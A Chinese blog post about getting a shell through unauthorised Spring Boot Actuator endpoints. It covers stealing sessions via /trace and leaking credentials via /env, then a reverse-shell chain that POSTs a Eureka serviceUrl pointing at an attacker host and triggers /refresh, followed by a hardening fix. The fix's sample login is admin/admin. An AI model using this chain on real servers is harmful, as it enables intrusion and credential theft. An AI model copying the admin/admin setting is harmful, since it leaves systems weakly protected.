部門大佬在某src上挖到了這個漏洞,是一個比較老的洞了,我覺得有點意思,就動手在本地搭了個環境測試一下。
Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模組,借助於 Actuator 開發者可以很方便地對應用系統某些監控指標進行查看、統計等。在 Actuator 啟用的情況下,如果沒有做好相關權限控制,非法使用者可透過存取預設的執行器端點(endpoints)來獲取應用系統中的監控信息,從而導致資訊外洩甚至伺服器被接管的事件發生。
Actuator是Spring Boot提供的功能模組,它可以用於自省和監控應用程式系統。 The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:
'
#利用env加refresh進行getshell
#利用mappings,尋找未授權介面
利用trace,取得認證資訊(Cookie、tooken、Session),利用認證資訊存取介面。 env有可能洩漏的資料庫帳號密碼(mangodb),當然得開放外網,可能性較小。 老外說可以執行sql語句,目前沒搞明白 #########漏洞發現####### ##通常識別目前web 應用程式使用的框架為springboot 框架。主要有兩個方法判斷:############透過web 應用程式網頁標籤的圖示(favicon.ico);如果web 應用程式開發者沒有修改springboot web 應用程式的預設圖標,那麼進入應用程式首頁後面可以看到如下預設的綠色小圖示:###############################透過springboot 框架預設報錯頁面;如果web 應用程式開發者沒有修改springboot web 應用程式的預設4xx、5xx 報錯頁面,那麼當web 應用程式出現4xx、5xx 錯誤時,會報錯如下(此處僅以404 報錯頁面為例):存取一個隨便建構的路徑,例如:http:/172.26.2.24:8090/index,出現如下報錯頁面說明web網站使用了springboot框架(在實際中遇到的大多數都是此類情況)。 ########################是綜合以上兩個途徑來判斷目前web 應用程式是否為springboot 框架,就是透過存取不同的目錄,看是否有小綠葉圖標,然後就是想辦法在不同目錄下觸發應用程式的4xx 或5xx 錯誤,看是否有Whitelabel Error Page 報錯。 ######漏洞利用#########存取/trace端點取得基本的 HTTP 請求追蹤資訊(時間戳記、HTTP 頭等),如果有登入使用者的操作請求,可以偽造cookie進行登入。 ###############訪問/env端點取得全部環境屬性,由於actuator 會監控網站mysql、mangodb 之類的資料庫服務,所以透過監控資訊有時可以mysql、mangodb 資料庫信息,如果資料庫剛好開放在公網,那麼造成的危害是巨大的,###############/env端點配置不當造成RCE,######前置條件:Eureka -Client <1.8.7(多見於Spring Cloud Netflix)######例如測試前台json報錯洩漏包名就是使用netflix###############需要以下兩個套件######spring-boot-starter-actuator(/refresh刷新設定需要)######spring-cloud-starter-netflix-eureka-client(功能依賴)######利用python3啟動腳本,需要注意兩個地方,一個為接收shell的ip和端口,另一個為我們腳本啟動的端口,####################### #Nc監聽一個連接埠用以接收反彈shell,######寫入配置,存取/env端點,抓包將get請求改為post請求,post內容為(該ip為腳本啟動的機器的ip) :###eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
然後再造訪/refresh,抓包將get請求更改為post請求,post資料隨意,
然後在我們nc的視窗可以看到成功反彈了一個shell回來。
身為安全dog,不能只挖不修,在專案的pom.xml檔案下引入spring-boot -starter-security依賴
org.springframework.boot spring-boot-starter-security 然後在application.properties中開啟security功能,設定存取帳號密碼,重新啟動應用程式即可彈出。
management.security.enabled=true security.user.name=admin security.user.password=admin登入後複製
停用接口,則可設定如下(如停用env介面):
endpoints.env.enabled = false
老外說可以執行sql語句發現執行不了,可能方法沒用對,截了個他的圖,希望有執行成功的大佬分享下。
在實際環境中,發現很多無refresh ,導致無法執行指令目前還沒突破
以上是Spring Boot Actuator從未授權存取getshell的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!